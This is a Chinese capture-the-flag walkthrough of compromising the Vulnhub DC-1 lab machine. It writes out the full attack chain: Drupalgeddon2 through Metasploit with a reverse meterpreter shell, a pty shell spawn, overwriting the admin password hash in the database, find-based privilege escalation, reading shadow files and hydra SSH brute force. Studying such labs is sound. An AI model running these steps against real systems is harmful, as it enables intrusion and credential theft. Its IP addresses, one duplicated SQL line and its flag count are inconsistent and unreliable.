前言
我們都知道，對靶機的滲透，可以寬闊自己的解題思路，練習並熟悉相關操作命令，提高自己的能力。下面我就對Vulnhub的DC-1靶機進行滲透，靶機設定了5個flag，我們們依次找到它。並通過圖文形式講解涉及到的相關知識點。DC-1的靶機下載地址為：https://www.vulnhub.com/entry/dc-1,292/
目標機IP地址：198.162.9.138
攻擊機kali IP地址：198.132.9.129
想要了解SQL隱碼攻擊原理的可以看我的這兩篇文章：
https://www.cnblogs.com/lxfweb/p/13236372.html
https://www.cnblogs.com/lxfweb/p/13275582.html
想要了解XSS原理的可以看我的這兩篇文章：
https://www.cnblogs.com/lxfweb/p/12709061.html
https://www.cnblogs.com/lxfweb/p/13286271.html
目標探測
滲透測試的第一步，是資訊收集，這一步很重要，關係到後面的滲透步驟。下面我們對目標機進行主機發現。因為都在區域網，所以使用內網掃描。
命令：arp-scan -l
發現主機IP後，使用nmap進行埠掃描。
命令：nmap -v -A 192.168.9.138
發現目標機開放了22、80、111埠。
尋找flag1
現在我們以80埠作為突破口。通過指紋識別，這裡用到的是whatweb，發現是Drupal cms 版本是7。下面使用MSF進行滲透攻擊。開啟工具，搜尋Drupal的相關模組。
這裡我選擇第4個模組。讀者可以嘗試其他模組。
輸入命令：use exploit/unix/webapp/drupal_drupalgeddon2 載入exploit。然後檢視相關payload，輸入命令：show payloads
這裡選擇15，輸入：set payload php/meterpreter/reverse_tcp
接著輸入：show options 開啟配置選項。
標為yes的都是必須配置的。現在配置一下RHOSTS(目標機IP)，LHOSTS(攻擊機IP)，其他預設就行了。
發現獲取到了meterpreter shell。現在檢視一下目錄。
發現目標，找到flag1。
尋找flag2
檢視flag1檔案，發現有提示，我們們尋找配置檔案。
接下來進入sites目錄下，接著進入default目錄。檢視settings.php檔案。
找到了flag2。
尋找flag3
我們發現配置檔案中有資料庫賬號和密碼。現在嘗試登陸資料庫。
現在進入目標機shell環境，檢視埠情況。命令：netstat -ano
我們注意到，資料庫只允許本地連線。所以，我們需要反彈一個shell出來。
採用python呼叫系統命令：
python -c 'import pty;pty.spawn("/bin/bash")'
發現反彈成功，接下來輸入資料庫賬號密碼連線MySQL資料庫。
下面，我們檢視庫，檢視錶。
找關鍵的表，發現裡面存在users表。開啟它。
發現了admin賬戶和密碼。但是這個密碼有點複雜，破解有點困難。所以想想其他的方法。這裡我們登陸了對方資料庫，所以，我們採用對方的加密方式覆蓋掉原來的密碼就可以了。
先呼叫命令生成我們們設定的密文。明文是xfaicl。命令：php scripts/password-hash.sh xfaicl
接著替換掉原來的密碼。
update users set pass="$S$DxQCTfic1drhqY7jbCf62drw/T204r3is./KmIUKEzlQUpfHx1RQ" where uid=1
<s="$S$DxQCTfic1drhqY7jbCf62drw/T204r3is./KmIUKEzlQUpfHx1RQ" where uid=1;
替換成功後，我們們登陸網站。依次點選，發現flag3。
尋找flag4
點選flag3後，關注點放到passwd檔案和shadow檔案。Linux為了考慮安全性，用單獨的shadow檔案儲存Linux使用者的密碼資訊，並且只有root使用者有許可權讀取此檔案。所以下一步，我們要考慮的是提權了。
採用find提權。
提權成功後，檢視shadow檔案。
發現flag4是一個賬戶。猜測是ssh賬戶，這裡嘗試暴力破解。使用hydra破解成功。
破解到密碼是orange，接下來登陸ssh。發現flag4,檢視它。
裡面內容說，還有一個flag4，在root目錄下，剛才我們們已經提升許可權了。所以直接檢視。
小結
目標靶機一共存在5個flag，我們們已經全部找到，上面用到的一些方法希望對大家有幫助。